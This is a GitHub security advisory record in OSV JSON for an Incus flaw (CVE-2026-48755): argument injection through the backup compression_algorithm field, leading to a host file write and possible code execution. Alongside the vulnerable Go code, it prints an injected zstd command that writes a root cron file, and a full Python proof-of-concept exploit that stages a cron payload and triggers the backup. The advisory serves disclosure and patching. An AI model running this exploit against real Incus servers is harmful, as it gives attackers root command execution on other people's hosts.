{"id":"GHSA-v6mj-8pf4-hhw4","summary":"Incus has an argument injection in backup compression algorithm leading to AFW and ACE","details":"### Summary\n\nImproper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist:\n\n```go\nfields, err := shellquote.Split(value)\n...\nif !slices.Contains([]string{\"bzip2\", \"gzip\", \"lz4\", \"lzma\", \"pigz\", \"pzstd\", \"pxz\", \"tar2sqfs\", \"xz\", \"zstd\"}, fields[0]) {\n    return fmt.Errorf(\"Compression algorithm %q isn't currently supported\", fields[0])\n}\n_, err = exec.LookPath(fields[0])\n```\n\nExtra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor:\n\n```go\nargs := []string{\"-c\"}\nif len(fields) \u003e 1 {\n    args = append(args, fields[1:]...)\n}\ncmd := exec.Command(fields[0], args...)\ncmd.Stdin = infile\ncmd.Stdout = outfile\n```\n\nWith a value like:\n\n```text\nzstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\nthe daemon executes the equivalent of:\n\n```text\nzstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\n### PoC\n\n```\npython3 poc.py \\\n\t--insecure --url https://remote-incus:8443 \\\n\t--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \\\n\t--instance c01 \\\n\t--execute --yes-i-understand-this-writes-host-file\n```\n\nThe following was generated by an LLM model.\n\n```\n#!/usr/bin/env python3\n\"\"\"Short remote Incus backup compression zstd cron RCE PoC.\n\nDry-run is the default.  --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:\n\n    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- \u003csource\u003e\n\nThe direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport shlex\nimport sys\nimport urllib.parse\nfrom pathlib import PurePosixPath\nfrom typing import Any\n\nimport requests\n\n\ndef q(value: str) -\u003e str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef api(base: str, endpoint: str, **params: str) -\u003e str:\n    return base.rstrip(\"/\") + endpoint + (\"?\" + urllib.parse.urlencode(params) if params else \"\")\n\n\ndef project_instance(project: str, instance: str) -\u003e str:\n    return instance if project == \"default\" else f\"{project}_{instance}\"\n\n\ndef clean_guest_path(path: str) -\u003e str:\n    if not path.startswith(\"/\"):\n        raise ValueError(\"--guest-path must be absolute\")\n    if \"..\" in PurePosixPath(path).parts:\n        raise ValueError(\"--guest-path must not contain '..'\")\n    return os.path.normpath(\"/\" + path.lstrip(\"/\")).lstrip(\"/\")\n\n\ndef source_path(args: argparse.Namespace) -\u003e str:\n    if args.source_host_path:\n        return args.source_host_path\n    return os.path.join(\n        args.incus_dir,\n        \"storage-pools\",\n        args.pool,\n        args.storage_kind,\n        project_instance(args.project, args.instance),\n        \"rootfs\",\n        clean_guest_path(args.guest_path),\n    )\n\n\ndef cron(command: str) -\u003e bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode()\n\n\ndef session(args: argparse.Namespace) -\u003e requests.Session:\n    s = requests.Session()\n    s.verify = False if args.insecure else (args.cacert or True)\n    if args.cert or args.key:\n        s.cert = (args.cert, args.key)\n    if args.token:\n        s.headers[\"Authorization\"] = \"Bearer \" + args.token\n    s.headers[\"User-Agent\"] = \"incus-zstd-backup-rce-poc\"\n    if args.insecure:\n        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]\n    return s\n\n\ndef check(resp: requests.Response, what: str) -\u003e requests.Response:\n    if resp.status_code \u003e= 400:\n        try:\n            detail: Any = resp.json()\n        except Exception:\n            detail = resp.text[:2048]\n        raise RuntimeError(f\"{what} failed: HTTP {resp.status_code}: {detail}\")\n    return resp\n\n\ndef upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -\u003e None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/files\", project=args.project, path=args.guest_path)\n    headers = {\n        \"Content-Type\": \"application/octet-stream\",\n        \"X-Incus-type\": \"file\",\n        \"X-Incus-write\": \"overwrite\",\n        \"X-Incus-uid\": \"0\",\n        \"X-Incus-gid\": \"0\",\n        \"X-Incus-mode\": \"0644\",\n    }\n    print(f\"[*] uploading cron payload to {args.instance}:{args.guest_path}\")\n    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), \"payload upload\")\n\n\ndef trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -\u003e None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/backups\", project=args.project)\n    print(\"[*] sending direct backup request\")\n    resp = s.post(\n        url,\n        data=json.dumps(body).encode(),\n        headers={\"Accept\": \"application/octet-stream\", \"Content-Type\": \"application/json\"},\n        timeout=args.timeout,\n        stream=True,\n    )\n    print(f\"[*] backup HTTP {resp.status_code}\")\n    resp.close()\n    if resp.status_code \u003e= 400:\n        print(\"[*] HTTP error after compressor launch is possible; check whether the cron file was written\")\n\n\ndef parse_args() -\u003e argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Remote Incus zstd backup-compression cron RCE PoC\")\n    p.add_argument(\"--url\", required=True, help=\"https://host:8443\")\n    p.add_argument(\"--cert\", help=\"client certificate PEM\")\n    p.add_argument(\"--key\", help=\"client private key PEM\")\n    p.add_argument(\"--cacert\", help=\"CA certificate PEM\")\n    p.add_argument(\"--token\", help=\"bearer token\")\n    p.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    p.add_argument(\"--timeout\", type=int, default=180)\n\n    p.add_argument(\"--project\", default=\"default\")\n    p.add_argument(\"--instance\", required=True)\n    p.add_argument(\"--pool\", default=\"default\")\n    p.add_argument(\"--storage-kind\", choices=[\"containers\", \"virtual-machines\"], default=\"containers\")\n    p.add_argument(\"--incus-dir\", default=\"/var/lib/incus\")\n    p.add_argument(\"--guest-path\", default=\"/incus-zstd-cron\")\n    p.add_argument(\"--source-host-path\", help=\"override daemon-readable host path for the staged payload\")\n    p.add_argument(\"--cron-path\", default=\"/etc/cron.d/incus-zstd-rce\")\n    p.add_argument(\"--command\", default=\"date \u003e/incus-zstd-rce; id \u003e\u003e/incus-zstd-rce\")\n\n    p.add_argument(\"--execute\", action=\"store_true\", help=\"stage payload and send backup request\")\n    p.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute\")\n    args = p.parse_args()\n\n    if urllib.parse.urlparse(args.url).scheme != \"https\":\n        p.error(\"--url must use https\")\n    if bool(args.cert) != bool(args.key):\n        p.error(\"--cert and --key must be supplied together\")\n    if args.execute and not args.yes_i_understand_this_writes_host_file:\n        p.error(\"--execute requires --yes-i-understand-this-writes-host-file\")\n    try:\n        clean_guest_path(args.guest_path)\n    except ValueError as exc:\n        p.error(str(exc))\n\n    args.url = args.url.rstrip(\"/\")\n    return args\n\n\ndef main() -\u003e int:\n    args = parse_args()\n    src = source_path(args)\n    payload = cron(args.command)\n    compressor = f\"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}\"\n    body = {\"compression_algorithm\": compressor, \"instance_only\": True}\n\n    print(\"[*] target:\", args.url)\n    print(\"[*] project:\", args.project)\n    print(\"[*] instance:\", args.instance)\n    print(\"[*] source host path:\", src)\n    print(\"[*] cron path:\", args.cron_path)\n    print(\"[*] payload:\", payload.decode().rstrip())\n    print(\"[*] backup body:\", json.dumps(body, sort_keys=True))\n\n    if not args.execute:\n        print(\"[*] dry run only; add --execute and the confirmation flag to act\")\n        return 0\n\n    s = session(args)\n    upload(s, args, payload)\n    trigger_backup(s, args, body)\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nImproperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with `zstd` and possibly arbitrary command execution.","aliases":["CVE-2026-48755","GO-2026-5808"],"modified":"2026-07-07T20:41:20.033438348Z","published":"2026-06-26T19:03:31Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-26T19:03:31Z","nvd_published_at":null,"cwe_ids":["CWE-20"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"}],"affected":[{"package":{"name":"github.com/lxc/incus/v7/cmd/incusd","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus/v7/cmd/incusd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-v6mj-8pf4-hhw4/GHSA-v6mj-8pf4-hhw4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}